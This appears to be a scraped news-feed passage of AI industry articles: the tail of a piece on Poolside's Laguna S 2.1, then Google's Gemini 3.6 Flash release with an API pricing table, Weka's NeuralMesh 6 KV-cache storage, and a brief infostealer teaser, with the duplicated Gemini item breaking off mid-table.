a reasonable convention, but one that mixes harnesses and test conditions. On <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, notably, Poolside ran its own agent harness rather than the leaderboard's standard mini-swe-agent, a difference the company acknowledges makes scores less directly comparable. And the frontier remains clearly out of reach: closed models like <a href="https://openai.com/index/previewing-gpt-5-6-sol/">GPT-5.6 Sol</a>, at 88.8 on Terminal-Bench 2.1, and <a href="https://www.anthropic.com/claude/fable">Claude Fable 5</a>, at 88.0, along with the 2.8-trillion-parameter open-weight <a href="https://venturebeat.com/technology/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-u-s-systems">Kimi K3</a>, at 88.3, sit well above Laguna S 2.1.</p><p>The deeper structural question is whether Poolside's "<a href="https://poolside.ai/blog/introducing-the-model-factory">Model Factory</a>" — the internal platform the company credits for its rapid release cadence — can sustain this pace as models scale. The trajectory so far is genuinely unusual: the April dual release of Laguna M.1 and XS.2, the July 2 refresh of XS 2.1, and now S 2.1, which the company says outperforms April's flagship M.1 at roughly a third of its active size. Remarkably, S 2.1 used the exact same pre-training data as XS 2.1, meaning nearly all the improvement came from scale, training fixes, and post-training across the company's corpus of 409,000 agentic and non-agentic training environments. Poolside says its next, larger Laguna model began pre-training last week.</p><p>For technical decision makers, <a href="https://huggingface.co/poolside/Laguna-S-2.1">Laguna S 2.1</a> is the most credible Western open-weight option to emerge in nearly a year for self-hosted agentic coding — with published evidence, a permissive license, broad ecosystem support, and an economics story built around hardware you can own. Whether it dents the dominance of Chinese open models will depend less on this release than on the ones that follow it.</p><p>Kant, for his part, has already told the world how he intends that story to end. Poolside is building toward a future where the most capable intelligence "can be owned and shaped by anyone," he wrote — and the company plans to keep shipping "until that future exists." In an industry where the biggest labs increasingly lock their best work behind an API, the most radical thing about Laguna S 2.1 may not be what it scores, but that anyone can download it and check.</p><p>
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<title><![CDATA[Google's Gemini 3.6 Flash model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way]]></title>
<description><![CDATA[Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 p...]]></description>
<link>https://tsecurity.de/de/3684881/it-nachrichten/googles-gemini-36-flash-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684881/it-nachrichten/googles-gemini-36-flash-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</guid>
<pubDate>Tue, 21 Jul 2026 23:33:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google DeepMind<a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/?utm_source=x&amp;utm_medium=social&amp;utm_campaign=&amp;utm_content="> today released three new proprietary AI models</a> it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. </p><p>The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out. </p><p>Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck. </p><h2><b>VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)</b></h2><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Input ($/1M)</b></p></td><td><p><b>Output ($/1M)</b></p></td><td><p><b>Total ($/1M)</b></p></td><td><p><b>Source</b></p></td></tr><tr><td><p>MiMo-V2.5 Flash</p></td><td><p>$0.10</p></td><td><p>$0.30</p></td><td><p>$0.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>deepseek-v4-flash</p></td><td><p>$0.14</p></td><td><p>$0.28</p></td><td><p>$0.42</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>deepseek-v4-pro</p></td><td><p>$0.435</p></td><td><p>$0.87</p></td><td><p>$1.305</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>MiniMax-M3</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://platform.minimax.io/subscribe/token-plan?tab=api-enterprise">MiniMax</a></p></td></tr><tr><td><p>LongCat-2.0 — limited-time promo</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>Gemini 3.1 Flash-Lite</p></td><td><p>$0.25</p></td><td><p>$1.50</p></td><td><p>$1.75</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Qwen3.7-Plus</p></td><td><p>$0.40</p></td><td><p>$1.60</p></td><td><p>$2.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-plus&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>MiMo-V2.5</p></td><td><p>$0.40</p></td><td><p>$2.00</p></td><td><p>$2.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.5 Flash-Lite</b></p></td><td><p><b>$0.30</b></p></td><td><p><b>$2.50</b></p></td><td><p><b>$2.80</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a><b></b></p></td></tr><tr><td><p>LongCat-2.0 — standard</p></td><td><p>$0.75</p></td><td><p>$2.95</p></td><td><p>$3.70</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (≤256K)</p></td><td><p>$1.00</p></td><td><p>$3.00</p></td><td><p>$4.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>GLM-5.2</p></td><td><p>$1.40</p></td><td><p>$4.40</p></td><td><p>$5.80</p></td><td><p><a href="https://docs.z.ai/guides/overview/pricing">Z.ai</a></p></td></tr><tr><td><p>GPT-5.6 Luna</p></td><td><p>$1.00</p></td><td><p>$6.00</p></td><td><p>$7.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Grok 4.5</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://docs.x.ai/developers/models">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (&gt;256K)</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.6 Flash</b></p></td><td><p><b>$1.50</b></p></td><td><p><b>$7.50</b></p></td><td><p><b>$9.00</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a></p></td></tr><tr><td><p>Qwen3.7-Max</p></td><td><p>$2.50</p></td><td><p>$7.50</p></td><td><p>$10.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-max&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>Gemini 3.5 Flash</p></td><td><p>$1.50</p></td><td><p>$9.00</p></td><td><p>$10.50</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (≤200K)</p></td><td><p>$2.00</p></td><td><p>$12.00</p></td><td><p>$14.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>GPT-5.6 Terra</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.4</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Kimi K3</p></td><td><p>$3.00</p></td><td><p>$15.00</p></td><td><p>$18.00</p></td><td><p><a href="https://platform.kimi.ai/docs/pricing/chat-k3">Moonshot AI</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (&gt;200K)</p></td><td><p>$4.00</p></td><td><p>$18.00</p></td><td><p>$22.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Claude Opus 4.8</p></td><td><p>$5.00</p></td><td><p>$25.00</p></td><td><p>$30.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/pricing">Anthropic</a></p></td></tr><tr><td><p>GPT-5.5</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.5 Instant (chat-latest)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://developers.openai.com/api/docs/models/chat-latest">OpenAI</a></p></td></tr><tr><td><p>Sakana Fugu Ultra (≤272K)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://console.sakana.ai/pricing#subscription-plan">Sakana AI</a></p></td></tr><tr><td><p>GPT-5.6 Sol</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Claude Fable 5 / Claude Mythos 5</p></td><td><p>$10.00</p></td><td><p>$50.00</p></td><td><p>$60.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/models/overview">Anthropic</a></p></td></tr></tbody></table><p>No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs. </p><p>While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate). </p><p>Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a <a href="https://deepmind.google/blog/introducing-gemini-3-5-flash-cyber/">separate Google blog post</a>, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — <a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/">CodeMender</a> being Google's proprietary AI code bug-fixing agent released last year. </p><p>As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0. </p><p>One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, <a href="https://venturebeat.com/technology/google-launches-gemini-3-1-pro-retaking-ai-crown-with-2x-reasoning">debuted back in February 2026</a>, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's. </p><p>Google technical staffer Logan Kilpatrick <a href="https://x.com/OfficialLoganK/status/2079592006163349538">responded to one such inquiry on X, writing</a>: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready." </p><p>Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods. </p><p>If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.</p><h2><b>Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks</b></h2><p>Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the <a href="https://x.com/ArtificialAnlys/status/2079596244339707956">Artificial Analysis Index</a> maintained by the independent third-party AI benchmarking group of the same name. </p><p>In specific long-horizon software engineering benchmarks like <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%. </p><p>This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle. </p><p>When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.</p><p>While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."</p><p>The official model cards released by Google reveal that both <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-6-Flash-Model-Card.pdf">Gemini 3.6 Flash</a> and <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-5-Flash-Lite-Model-Card.pdf">Gemini 3.5 Flash-Lite</a> feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.</p><h2><b>Respectable benchmark performance at low cost</b></h2><p>The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5. </p><p>It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%. </p><p>The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.</p><p>To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses. </p><p>The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.</p><h2>M<b>odels for low-cost coding, agentic, and cybersecurity use cases — respectively</b></h2><p>Google divided its new offerings into three distinct products tailored for different operational needs. </p><p>Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. </p><p>The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.</p><p>Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series. </p><p>As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. <a href="https://artificialanalysis.ai/articles/gemini-3-6-flash-3-5-flash-lite-halving-time">Artificial Analysis notes</a> this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.</p><p>Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads. </p><p>Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%. </p><p>The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.</p><p>The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent. </p><p>In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark, even getting within range of Anthropic's much-hyped Mythos model.</p><p>Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.</p><h2><b>Commercial licensing only</b></h2><p>The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.</p><p>An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash. </p><p>This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.</p><p>The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its <a href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Project Glasswing program</a>, and continued by <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI with its staggered rollout for GPT-5.6</a>. </p><p>In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.</p><h2><b>Looking ahead</b></h2><p>Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.</p><p>Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced. </p><p>Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.</p>]]></content:encoded>
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<title><![CDATA[Stop adding more GPUs: Weka's new storage platform reduces load by caching 100% of an AI model's pre-calculated tokens]]></title>
<description><![CDATA[GPU memory is the most expensive resource in production AI, and it's also the one running out fastest. Long context windows and multi-turn conversations force AI models to repeatedly recompute information they've already processed, consuming GPU memory and compute that could otherwise serve addit...]]></description>
<link>https://tsecurity.de/de/3684878/it-nachrichten/stop-adding-more-gpus-wekas-new-storage-platform-reduces-load-by-caching-100-of-an-ai-models-pre-calculated-tokens/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684878/it-nachrichten/stop-adding-more-gpus-wekas-new-storage-platform-reduces-load-by-caching-100-of-an-ai-models-pre-calculated-tokens/</guid>
<pubDate>Tue, 21 Jul 2026 23:33:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>GPU memory is the most expensive resource in production AI, and it's also the one running out fastest. </p><p>Long context windows and multi-turn conversations force AI models to repeatedly recompute information they've already processed, consuming GPU memory and compute that could otherwise serve additional users or generate new responses.</p><p>Instead of treating GPU memory as the limiting resource,  why not extend it with much cheaper storage technologies? </p><p><a href="https://www.weka.io/">Weka</a>, for one, believes that cheap flash storage can close that gap. The company's NeuralMesh 6 software platform, launching alongside its first self-designed hardware line, Wekapod 3, extends what Weka calls Augmented Memory Grid, an approach that aggregates NAND flash to behave like GPU memory at a fraction of the cost.</p><p>This is an active and increasingly crowded category. Dell, NetApp, Pure Storage and VAST have all repositioned toward AI infrastructure over the past two years and Weka is one of several vendors arguing it's built for this specific moment rather than adapting to it.</p><p>"What we're seeing now with customers is they're chasing availability of compute, and once they get new allocation from anyone, they want to be able to grab it and start running right away," Weka co-founder and CEO Liran Zvibel, told VentureBeat.</p><p>The potential payoff is straightforward: better utilization of existing GPU investments, lower inference costs and faster deployment of new AI workloads without waiting months for additional GPU capacity.</p><p>The technology is most relevant for organizations already operating AI at scale or expecting rapid growth in usage, particularly enterprises building internal copilots, customer service agents, software engineering assistants or retrieval systems with long context windows. Smaller deployments may see less immediate benefit than organizations where GPU utilization has already become a limiting factor.</p><h2><b>Inside Weka's NeuralMesh 6</b></h2><p>NeuralMesh 6 adds four capabilities aimed directly at a functionality gap Zvibel says has been costing Weka deals in competitive evaluations.</p><p><b>Composable and virtual multi-tenancy.</b> Composable clusters give anchor tenants full hardware-level isolation, dedicated CPU, memory, and storage. Virtual multi-tenancy runs through Weka's RDMA fabric, delivering network-level isolation that scales past 1,000 tenants per cluster, with provisioning in under 30 minutes. Combined, a single cluster running 50 composable clusters can support up to 50,000 tenants. </p><p><b>Unified file and object storage.</b> Most storage systems keep two separate paths: a file-based path (the standard way servers and applications read and write files, used heavily in training and fine-tuning pipelines) and an object-based path (S3, the format inference and cloud-native tools typically expect). Normally a gateway translates between the two, meaning the data effectively exists twice. Weka's claim is that the same physical data on disk is directly readable through either path at once, no translation layer, no second copy. Zvibel is targeting non-AWS GPU clouds specifically, naming Lambda, Nebius, G42, and CoreWeave, with what he described as roughly two orders of magnitude higher performance than conventional S3 and a capacity-based pricing model instead of per-API charges. </p><p><b>Metadata-first replication.</b> Destination environments become browsable before a full data copy arrives, with data hydrating only when accessed. </p><p>"They had to wait for all of that to make it to the other side, and this takes days or weeks, in extreme cases a month," Zvibel said. "We now allow our customers to grab some allocation of new GPUs and get up and running within an hour."</p><p><b>AlloyFlash and Always-On data reduction</b>. TLC and QLC are two types of NAND flash memory. TLC is faster and more durable but costs more per terabyte, while QLC is cheaper and holds more data per chip but is slower. AlloyFlash mixes both within a single cluster, automatically routing latency-sensitive work to TLC while running bulk-capacity workloads on QLC, cutting cost per terabyte without a performance penalty on the work that needs speed. Data reduction now runs by default rather than as an option.</p><h2><b>Solving AI's context problem</b></h2><p>Multi-tenancy and object storage solve how enterprises and neo clouds operate the platform day to day. A harder problem sits underneath: as context windows and multi-turn interactions grow, so does the GPU compute wasted recalculating work a model has already done. Augmented Memory Grid, a NeuralMesh 6 feature built specifically for this, is Weka's answer.</p><p>Every prompt triggers two stages. Prefill calculates attention, the core mechanism behind how large language models process input, and it's computationally expensive. Decode converts that calculation into output and is comparatively lightweight. </p><p>The cost shows up hardest in multi-turn sessions like chat or coding, where each new turn re-triggers prefill for everything that came before it, unless that work has been cached.</p><p>"If you have 10 turns, you may overcalculate 100 times because you're redoing all of them. If you have 20, you'll overcalculate 400 times," Zvibel said. "You can put two orders of magnitude more NAND than you could afford in shared memory, and we can cache 100% of the pre-calculated tokens, so you never need to redo it."</p><h2><b>Where Weka sits competitively</b></h2><p>Storage vendors have spent the past year and a half repositioning around AI, and separating genuine capability from repositioned messaging is now a real evaluation problem for buyers. </p><p>"The storage world is shifting its focus from serving bits to enterprise workloads to managing data at the speed of AI. We've seen that most clearly over the past 18 months from Dell, NetApp, and Pure," Steve McDowell, chief analyst at NAND Research, told VentureBeat. "The interesting thing is that companies like Weka, and VAST, are the true AI-native data companies, solving these problems since day one."</p><p>McDowell singled out Augmented Memory Grid as Weka's clearest technical lead. </p><p>"Weka continues to have the most technically capable KV cache implementation on the market with its Augmented Memory Grid," he said. " They were early with this technology, and continue to innovate. This is critical for AI inference, as it enables a level of GPU efficiency that, without question, saves money on GPUs and memory. That’s key for today’s memory and GPU constrained market." </p><p>He also flagged Weka's contractual guarantee on its data reduction claims as underappreciated. </p><p>"One flying a little under the radar: Weka is putting its money where its mouth is with its contractual guarantees for its data reduction promises," he said.</p><p>McDowell's advice to buyers evaluating competing claims from Weka, VAST, Pure and NetApp alike was pointed suggesting that enterprise buyers should look hard at what vendors are promising versus what they're actually delivering.</p><p>"A smart buyer will look at how competing vendors are solving real-world problems today," McDowell said. " They do this by talking to organizations running similar workloads at similar scale. If a vendor can't point to that, then it should be a warning sign."</p>]]></content:encoded>
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<title><![CDATA[Hackers Turn Fake Games Into Multi-Stage Infostealers That Steal Passwords and Crypto Wallets]]></title>
<description><![CDATA[Criminals are using fake game downloads to slip a sophisticated information stealer onto Windows computers. The campaign hides behind supposed games, mods, cracks, and other software, exploiting the trust and urgency around free or hard-to-find downloads. A downloaded archive can…
Read more →
The...]]></description>
<link>https://tsecurity.de/de/3684857/it-security-nachrichten/hackers-turn-fake-games-into-multi-stage-infostealers-that-steal-passwords-and-crypto-wallets/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684857/it-security-nachrichten/hackers-turn-fake-games-into-multi-stage-infostealers-that-steal-passwords-and-crypto-wallets/</guid>
<pubDate>Tue, 21 Jul 2026 23:05:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Criminals are using fake game downloads to slip a sophisticated information stealer onto Windows computers. The campaign hides behind supposed games, mods, cracks, and other software, exploiting the trust and urgency around free or hard-to-find downloads. A downloaded archive can…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/hackers-turn-fake-games-into-multi-stage-infostealers-that-steal-passwords-and-crypto-wallets/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/hackers-turn-fake-games-into-multi-stage-infostealers-that-steal-passwords-and-crypto-wallets/">Hackers Turn Fake Games Into Multi-Stage Infostealers That Steal Passwords and Crypto Wallets</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Google's Gemini Flash 5.6 model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way]]></title>
<description><![CDATA[Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 p...]]></description>
<link>https://tsecurity.de/de/3684788/it-nachrichten/googles-gemini-flash-56-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684788/it-nachrichten/googles-gemini-flash-56-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</guid>
<pubDate>Tue, 21 Jul 2026 22:56:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google DeepMind<a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/?utm_source=x&amp;utm_medium=social&amp;utm_campaign=&amp;utm_content="> today released three new proprietary AI models</a> it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. </p><p>The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out. </p><p>Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck. </p><h2><b>VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)</b></h2><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Input ($/1M)</b></p></td><td><p><b>Output ($/1M)</b></p></td><td><p><b>Total ($/1M)</b></p></td><td><p><b>Source</b></p></td></tr><tr><td><p>MiMo-V2.5 Flash</p></td><td><p>$0.10</p></td><td><p>$0.30</p></td><td><p>$0.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>deepseek-v4-flash</p></td><td><p>$0.14</p></td><td><p>$0.28</p></td><td><p>$0.42</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>deepseek-v4-pro</p></td><td><p>$0.435</p></td><td><p>$0.87</p></td><td><p>$1.305</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>MiniMax-M3</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://platform.minimax.io/subscribe/token-plan?tab=api-enterprise">MiniMax</a></p></td></tr><tr><td><p>LongCat-2.0 — limited-time promo</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>Gemini 3.1 